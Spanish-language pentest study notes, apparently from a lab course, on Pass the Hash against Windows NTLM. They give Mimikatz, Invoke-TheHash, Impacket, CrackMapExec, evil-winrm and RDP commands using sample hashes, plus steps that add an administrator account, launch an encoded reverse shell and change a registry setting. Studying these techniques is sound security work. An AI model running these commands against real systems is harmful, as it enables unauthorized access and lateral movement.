Pass the Hash (PtH) (NTLM)

Es un ataque en el que el atacante puede usar el hash de la contraseña de un usuario en vez de la contraseña en texto plano
  • El hash NTLM de un usuario es estático mientras la contraseña no cambie.
  • Por ello, si el atacante consigue el hash, puede autenticarse sin conocer la contraseña en texto plano
Fuentes de obtención de hashes
  • SAM local de Windows en un host comprometido.
  • Base de datos NTDS (ntds.dit) del Domain Controller.
  • Memoria (lsass.exe) en un sistema Windows

Windows NTLM

NTLM (New Technology LAN Manager) es un protocolo de autenticación legado de Microsoft. No usa salt en las contraseñas, por lo que si un atacante tiene el hash NTLM puede reusarlo. Kerberos reemplazó NTLM como mecanismo por defecto en dominios AD modernos pero sigue presente por compatibilidad.

Pass the Hash - Mimikatz (Windows)

  • Herramienta: Mimikatz. Módulo: sekurlsa::pth
  • Parámetros: /user, /rc4 (o /NTLM), /domain (o . para cuentas locales), /run
txt
mimikatz.exe privilege::debug
"sekurlsa::pth /user:julio /rc4:64F12CDDAA88057E06A81B54E73B949B /domain:inlanefreight.htb /run:cmd.exe"
exit
Para obtener los hashes de un DC (una vez ejecutado mimikatz):
txt
sekurlsa::logonpasswords

Pass the Hash - Powershell (Windows)

Herramienta: Invoke-TheHash (funciones PowerShell para PtH con WMI y SMB).

SMBExec

powershell
Import-Module .\Invoke-TheHash.psd1
Invoke-SMBExec -Target 172.16.1.10 -Domain inlanefreight.htb -Username julio -Hash 64F12CDDAA88057E06A81B54E73B949B -Command "net user mark Password123 /add && net localgroup administrators mark /add" -Verbose

WMIExec (reverse shell)

powershell
Invoke-WMIExec -Target DC01 -Domain inlanefreight.htb -Username julio -Hash 64F12CDDAA88057E06A81B54E73B949B -Command "powershell -e [payload-base64]"

Pass the Hash con Impacket

terminal
impacket-psexec administrator@10.129.201.126 -hashes :30B3783CE2ABF1AF70F77D0660CF3453
El LM-hash se deja vacío antes de los dos puntos. Otras: impacket-wmiexec, impacket-atexec, impacket-smbexec.

Pass the Hash con CrackMapExec

terminal
$ crackmapexec smb 172.16.1.0/24 -u Administrator -d . -H 30B3783CE2ABF1AF70F77D0660CF3453$ crackmapexec smb 10.129.201.126 -u Administrator -d . -H 30B3783CE2ABF1AF70F77D0660CF3453 -x whoami
Si aparece Pwn3d! significa que somos admin.

Pass the Hash con evil-winrm

terminal
$ evil-winrm -i 10.129.201.126 -u Administrator -H 30B3783CE2ABF1AF70F77D0660CF3453

Pass the Hash con RDP

terminal
$ xfreerdp /v:10.129.201.126 /u:julio /pth:64F12CDDAA88057E06A81B54E73B949B
Requiere Restricted Admin Mode habilitado:
txt
reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f

UAC y Limitaciones a PtH con Cuentas Locales

LocalAccountTokenFilterPolicy: 0 = solo la cuenta admin RID-500 puede hacer admin remoto; 1 = cualquier cuenta local del grupo Administrators puede. FilterAdministratorToken a 1 = la cuenta Admin local también se somete a UAC.